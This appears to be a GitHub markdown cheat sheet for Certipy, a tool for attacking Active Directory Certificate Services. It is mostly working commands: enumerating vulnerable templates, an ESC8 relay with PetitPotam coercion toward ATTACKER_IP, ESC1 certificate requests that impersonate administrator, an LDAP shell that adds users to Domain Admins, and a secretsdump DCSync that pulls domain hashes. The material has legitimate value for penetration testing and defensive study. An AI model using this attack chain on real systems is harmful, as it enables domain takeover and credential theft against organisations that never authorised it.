Skip to content

certipy.md

Latest commit

 

History

History
143 lines (100 loc) · 3.81 KB

certipy.md

File metadata and controls

143 lines (100 loc) · 3.81 KB
Raw

Certipy

Overview

Certipy is a Python tool for enumerating and abusing Active Directory Certificate Services (ADCS). It can find vulnerable templates, request certificates, relay to ADCS, and authenticate using certificates.

Installation

pip3 install certipy-ad

# From source
git clone https://github.com/ly4k/Certipy.git
cd Certipy
pip3 install .

Enumeration

Find All CAs and Templates

# Full ADCS enumeration
certipy find -u user@domain.local -p password -dc-ip DC_IP

# Output to stdout (useful for quick review)
certipy find -u user@domain.local -p password -dc-ip DC_IP -stdout

# Only show vulnerable templates
certipy find -u user@domain.local -p password -dc-ip DC_IP -stdout -vulnerable

# Save as JSON and text files
certipy find -u user@domain.local -p password -dc-ip DC_IP -output adcs_enum

What to Look For

  • Web Enrollment: Enabled = ESC8 candidate
  • Enforce Encryption: Disabled = ESC11 candidate
  • Enrollee Supplies Subject: Templates where you control the SAN = ESC1
  • Client Authentication EKU: Required for using the cert to authenticate
  • AutoEnroll permissions: Templates that auto-enroll for certain groups

Relay Module (ESC8 / ESC11)

ESC8 — HTTP Web Enrollment Relay

# Start Certipy relay listener targeting the CA
certipy relay -ca CA_IP -template DomainController

# In another terminal, coerce the target
python3 PetitPotam.py ATTACKER_IP DC_IP

# Certipy intercepts the auth, relays to the CA's web enrollment,
# and saves the certificate

ESC11 — RPC Relay

# Certipy also supports RPC-based relay for ESC11
certipy relay -ca CA_IP -template DomainController

Certificate Authentication

Authenticate with a PFX Certificate

# Get TGT and NT hash using certificate
certipy auth -pfx victim.pfx -dc-ip DC_IP

# Specify domain and username if not embedded in cert
certipy auth -pfx victim.pfx -dc-ip DC_IP -domain domain.local -username DC01\$

LDAP Shell (Fallback if PKINIT Fails)

# If PKINIT is not supported, use LDAP shell
certipy auth -pfx victim.pfx -dc-ip DC_IP -ldap-shell

# In the LDAP shell:
# add_user_to_group username "Domain Admins"
# set_rbcd target$ attacker$

Request Certificates (ESC1 and Others)

ESC1 — Enrollee Supplies Subject

# Request a certificate with arbitrary SAN
certipy req -u user@domain.local -p password -ca 'CORP-CA' \
  -template VulnTemplate -upn administrator@domain.local -dc-ip DC_IP

# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

Certificate Management

# View certificate info
certipy cert -pfx victim.pfx -nokey -out cert.pem

# Convert formats
certipy cert -pfx victim.pfx -password certpass

# Extract key
certipy cert -pfx victim.pfx -nocert -out key.pem

Common Certipy Workflow for Relay

# Step 1: Enumerate ADCS
certipy find -u user@domain.local -p password -dc-ip DC_IP -stdout -vulnerable

# Step 2: If ESC8 found — relay
certipy relay -ca CA_IP -template DomainController
# (trigger coercion from another terminal)

# Step 3: Authenticate with captured certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP

# Step 4: Use the NT hash for DCSync
secretsdump.py domain.local/DC01\$@DC_IP -hashes :HASH

Practical Tips

  1. Always run certipy find -vulnerable first to understand the ADCS attack surface
  2. Certipy's relay module is simpler than ntlmrelayx for ADCS-specific attacks
  3. If PKINIT fails, try the LDAP shell option
  4. Certificates have validity periods — note expiration
  5. Some environments have multiple CAs — enumerate all of them
  6. Template names are case-sensitive in some tools